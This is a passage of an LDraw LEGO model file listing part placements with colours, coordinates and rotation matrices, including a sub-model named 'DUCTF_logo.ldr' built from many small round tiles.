-0.777 32013.dat\r\n1 0 136.639 -34 20.057 0.629 0 -0.777 0 -1 0 -0.777 0 -0.629 3707.dat\r\n1 0 280 -24 0 0 0 -1 0 1 0 1 0 0 3006.dat\r\n1 0 340 -24 -120 1 0 0 0 1 0 0 0 1 3007.dat\r\n1 0 280 -32 -100 0 0 -1 0 1 0 1 0 0 3020.dat\r\n1 2 450 -24 140 0 0 1 0 1 0 -1 0 0 32064a.dat\r\n1 0 470 -14 140 -1 0 0 0 0 -1 0 -1 0 4519.dat\r\n1 0 509.995 -14 140 0 0.707 -0.707 -1 0 0 0 0.707 0.707 32192.dat\r\n1 0 531.208 -14 118.787 0.707 0 -0.707 0 -1 0 -0.707 0 -0.707 32062.dat\r\n1 0 551.987 -14 98.623 0 0.707 0.707 1 0 0 0 0.707 -0.707 32192.dat\r\n1 0 551.987 -14 68.623 0 -1 0 0 0 -1 1 0 0 32062.dat\r\n1 0 551.987 -14 38.623 0 0.707 0.707 -1 0 0 0 -0.707 0.707 32192.dat\r\n1 0 530.774 -14 17.41 -0.707 -0.707 0 0 0 1 -0.707 0.707 0 32062.dat\r\n1 0 509.564 -14 -3.8 0 -0.707 -0.707 -1 0 0 0 0.707 -0.707 32014.dat\r\n1 0 530.774 -14 -25.01 0.707 -0.707 0 0 0 1 -0.707 -0.707 0 32062.dat\r\n1 0 551.987 -14 -46.223 0 0.707 0.707 1 0 0 0 0.707 -0.707 32192.dat\r\n1 0 551.987 -14 -76.223 0 -1 0 0 0 -1 1 0 0 32062.dat\r\n1 0 551.987 -14 -106.223 0 0.707 0.707 -1 0 0 0 -0.707 0.707 32192.dat\r\n1 0 531.208 -14 -126.387 0.707 -0.707 0 0 0 -1 0.707 0.707 0 32062.dat\r\n1 0 509.995 -14 -147.6 0 0.707 -0.707 1 0 0 0 -0.707 -0.707 32192.dat\r\n1 0 479.995 -14 -147.6 -1 0 0 0 1 0 0 0 -1 32062.dat\r\n1 2 960 0 0 1 0 0 0 1 0 0 0 1 3811.dat\r\n1 2 700 -8 0 0 0 1 0 1 0 -1 0 0 3956.dat\r\n1 2 664 -68 0 0 1 0 -1 0 0 0 0 1 3795.dat\r\n1 4 656 -118 0 0 1 0 0 0 -1 -1 0 0 3023.dat\r\n1 2 760 -24 20 0 0 1 0 1 0 -1 0 0 3003.dat\r\n1 2 760 -48 20 0 0 1 0 1 0 -1 0 0 3003.dat\r\n1 2 760 -72 20 0 0 1 0 1 0 -1 0 0 3003.dat\r\n1 2 800 -80 60 0 0 1 0 1 0 -1 0 0 3958.dat\r\n1 2 820 -88 36 1 0 0 0 1 0 0 0 1 3956.dat\r\n1 2 830 -128 0 0 0 -1 -1 0 0 0 1 0 3710.dat\r\n1 2 830 -148 -8 0 0 -1 -1 0 0 0 1 0 3710.dat\r\n1 2 830 -148 -16 0 0 -1 -1 0 0 0 1 0 3710.dat\r\n1 2 830 -168 -24 0 0 -1 -1 0 0 0 1 0 99781.dat\r\n1 4 852 -168 -14 0 -1 0 1 0 0 0 0 1 3023.dat\r\n1 2 800 -8 0 0 0 -1 0 1 0 1 0 0 3956.dat\r\n1 4 836 -38 0 0 -1 0 0 0 -1 1 0 0 3023.dat\r\n1 2 960 -8 0 0 0 1 0 1 0 -1 0 0 3956.dat\r\n1 4 924 -18 0 0 1 0 0 0 -1 -1 0 0 3023.dat\r\n1 2 1040 -8 0 0 0 -1 0 1 0 1 0 0 3956.dat\r\n1 4 1076 -38 0 0 -1 0 0 0 -1 1 0 0 3023.dat\r\n1 0 1000 -8 0 0 -1 0 0 0 1 -1 0 0 3713.dat\r\n1 0 1000 -38 0 0 1 0 -1 0 0 0 0 1 3705.dat\r\n1 0 1000 -46 0 0 -1 0 0 0 1 -1 0 0 3713.dat\r\n1 0 1000 -66 0 0 0.788 0.616 -1 0 0 0 -0.616 0.788 32034.dat\r\n1 0 963.04 -66 -47.28 -0.616 -0.788 0 0 0 1 -0.788 0.616 0 32073.dat\r\n1 0 1036.96 -66 47.28 -0.616 -0.788 0 0 0 1 -0.788 0.616 0 32073.dat\r\n1 0 1155 -12 -75 -1 0 0 0 0 -1 0 -1 0 32269.dat\r\n1 0 1155 -12 125 -1 0 0 0 0 -1 0 -1 0 43888.dat\r\n1 0 1255 -12 0 -1 0 0 0 1 0 0 0 -1 brace.ldr\r\n1 4 -64 62 0 0 1 0 0 0 -1 -1 0 0 3023.dat\r\n1 0 -4 62 0 0.731 0.682 0 0 0 -1 -0.682 0.731 0 30261p03.dat\r\n1 4 64 62 0 0 1 0 0 0 -1 -1 0 0 3023.dat\r\n1 0 48 62 0 0 1 0 0 0 1 1 0 0 6184.dat\r\n0 FILE DUCTF_logo.ldr\r\n0 Name: DUCTF_logo.ldr\r\n1 0 0 0 0 1 0 0 0 1 0 0 0 1 3811.dat\r\n1 27 -290 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -290 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -290 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -290 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -290 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -270 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -270 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -270 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -270 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -270 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -270 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -270 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -250 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -250 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -250 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -250 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -250 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -250 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -250 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -250 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -250 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -250 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -250 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -250 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -230 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -230 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -230 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -230 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -230 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -230 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -230 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -230 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -230 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -230 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -230 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -230 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -230 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -210 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -210 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -210 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -210 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -210 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -210 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -210 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -210 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -210 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -210 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -210 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -210 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -210 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -190 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -190 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -190 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -190 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -190 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -190 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -190 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -190 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -190 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -190 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -190 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -190 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -190 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -170 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -170 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -170 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -170 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -170 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -170 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -170 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -170 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -170 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -170 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -170 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -170 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -170 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -150 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -150 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -150 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -150 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -150 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -150 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -150 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -150 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -150 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -150 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -150 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -150 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -150 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -150 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -130 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -110 -8 190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -90 -8 210 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -70 -8 210 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -50 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -50 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -50 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -50 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -50 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -50 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -50 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -50 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -50 -8 190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -50 -8 210 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -30 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -30 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -30 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -30 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -30 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -30 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -30 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -30 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -30 -8 190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -30 -8 210 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -30 -8 230 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -10 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -10 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -10 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -10 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -10 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -10 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -10 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -10 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -10 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -10 -8 190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -10 -8 210 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -10 -8 230 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 -10 -8 250 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 10 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 10 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 10 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 10 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 10 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 10 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 10 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 10 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 10 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 10 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 10 -8 190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 10 -8 210 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 10 -8 230 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 10 -8 250 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 30 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 30 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 30 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 30 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 30 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 30 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 30 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 30 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 30 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 30 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 30 -8 190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 30 -8 210 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 30 -8 230 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 30 -8 250 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 50 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 50 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 50 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 50 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 50 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 50 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 50 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 50 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 50 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 50 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 50 -8 190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 50 -8 230 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 50 -8 250 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 70 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 70 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 70 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 70 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 70 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 70 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 70 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 70 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 70 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 70 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 70 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 70 -8 190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 90 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 90 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 90 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 90 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 90 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 90 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 90 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 90 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 90 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 90 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 90 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 90 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 110 -8 -170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 110 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 110 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 110 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 110 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 110 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 110 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 110 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 -190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 -170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 210 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 230 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 250 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 130 -8 270 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 -190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 -170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 210 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 230 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 150 -8 250 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 -250 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 -230 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 -170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 130 1 0 0 0 